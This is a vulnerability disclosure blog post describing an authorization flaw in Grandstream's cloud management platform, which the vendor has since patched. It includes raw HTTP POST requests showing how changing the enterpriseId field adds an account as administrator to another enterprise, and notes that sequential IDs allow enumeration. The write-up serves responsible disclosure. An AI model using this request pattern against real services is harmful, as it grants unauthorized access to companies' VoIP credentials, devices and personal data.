Third Time’s a Charm: Identifying Another Critical Flaw in Grandstream’s Security

logo black1

For various reasons beyond my control, I find myself engaging with Grandstream multiple times a year. With each interaction, I uncover a new vulnerability. For those fortunate enough to be unfamiliar with them, Grandstream is a prominent provider of VoIP and wireless devices. In my previous encounters, I discovered an account takeover vulnerability in their wireless management cloud, which could potentially lead to full device control. A few months ago, Grandstream announced the merging of their cloud services into a unified account control system. This change pleased many users, as it meant they only needed one account for all their Grandstream services. It also made me happier, knowing that my next vulnerability discovery would grant access to their VoIP cloud as well!

 

The Vulnerability

Knowing Grandstream, they are not great into authorization so I started looking at their group and company users functionality. On Edit Profile, I saw the following request:

 

				
					{
    "data": {
        "country": {
            "countryId": 75,
            "domain": "FR",
            "iddCode": "33",
            "countryNumericCode": "250",
            "timezone": "1",
            "countryDisplay": null
        },
        "enterpriseMFA": 0,
        "enterpriseRole": "enterprise_administrator",
        "timezone": {
            "id": 43,
            "timezoneId": "Africa/Windhoek",
            "description": "(GMT+02:00) Windhoek",
            "offset": 120,
            "timezone": "(GMT+02:00)"
        },
        "account": {
            "country": "FR",
            "isChannel": 0,
            "timezone": "Africa/Windhoek",
            "creatorId": 34181,
            "platformType": 0,
            "upgradeTip": 1,
            "timeout": 180,
            "multiTerminalLogin": 1,
            "password": "",
            "hour": "24",
            "forceMfaType": 0,
            "company": "test",
            "id": 34182,
            "state": 1,
            "formatDay": "dd/MM/yyyy",
            "lang": "en",
            "email": "vangelis@xxx.com",
            "lastActiveTime": 1717671553000,
            "mainAccount": false,
            "format": "{\"hour\":\"24\",\"format_time\":\"dd/MM/yyyy HH:mm\",\"format\":\"dd/MM/yyyy\"}",
            "isForceMfa": 0,
            "updateTime": 1697631109000,
            "timeoutSwitch": 1,
            "createTime": 1697631019000,
            "domain": "EU",
            "googleAuth": 0,
            "name": "egweimai",
            "enterpriseId": 23111,
            "lastActiveIp": "xxxxxx",
            "account": "egweimai",
            "extraInfo": "{\"step\":{\"voipGuideStep\":1,\"systemGuideStep\":2,\"ucmGuideStep\":1},\"projectId\":1,\"serverId\":\"gdms\"}"
        }
    },
    "msg": "",
    "retCode": 0
}

				
			

Can you guess what the issue will be? Of course you can—it’s Grandstream! The key is to find a way to change the value of enterpriseId. When I attempted to modify other parameters in my account, it always sent a POST request to the same URL with an “id” along with the parameter and its value. The following request changes the name parameter to “egweimai“.

				
					POST /app/account/modify HTTP/2
Host: account.gdms.cloud
Content-Length: 30
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Platform: "Windows"
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

{
    "id":34182,
    "name":"egweimai"
}
				
			

So all I had to do was to send a POST request and change my enterpriseId to a different number. Fun fact: the enterpriseId was an incremental integer so an attacker could add themselves to all the enterprises with a simple for loop!
Extra fun fact: Your enterpriseRole did not change, so if you were the owner in your company, you are going to be the owner in the other company too!
Following is the request that would change my account’s enterpriseId:

				
					POST /app/account/modify HTTP/2
Host: account.gdms.cloud
Content-Length: 30
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Platform: "Windows"
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

{
    "id":34182,
    "enterpriseId":xxx
}
				
			

I (of course), added myself to a second enterprise I also controlled myself to not break the law.

 

Severity

This is where things get really crazy. Adding yourself as an administrator to a new enterprise meant you had complete access to their VoIP infrastructure and all their Wi-Fi. This includes, but is not limited to:

  • Adding your own devices and using the company’s phone numbers
  • Viewing cleartext passwords of VoIP and SIP accounts
  • Full control over the SIP server configuration
  • Access to all user information (including email, phone number, and IP addresses), resulting in GDPR violations
  • Control of all VoIP devices
  • Access to backups and call logs
  • Access to all Wi-Fi devices from GWN.cloud
  • Access to VPN configuration

As previously mentioned, the enterpriseId is an incremental integer, making it easy to determine the number of vulnerable companies. This number was close to 100,000 companies.

 

Disclosure

A ticket was created on Grandstream Helpdesk on 27th of May 2024.
Grandstream answered that they would notify us when this was fixed.
Atropos reached out for an update on 6th of June 2024 and Grandstream answered with “Indeed, this issue was fixed after applying a patch fix to GDMS and GWN Cloud”, which was verified and confirmed by Atropos.

 

Postmortem

Grandstream has a poor track record with user management functionality, as this is the third time they’ve had a similar vulnerability. However, this time it was much worse, as exploiting it could grant access to their significantly larger VoIP user base.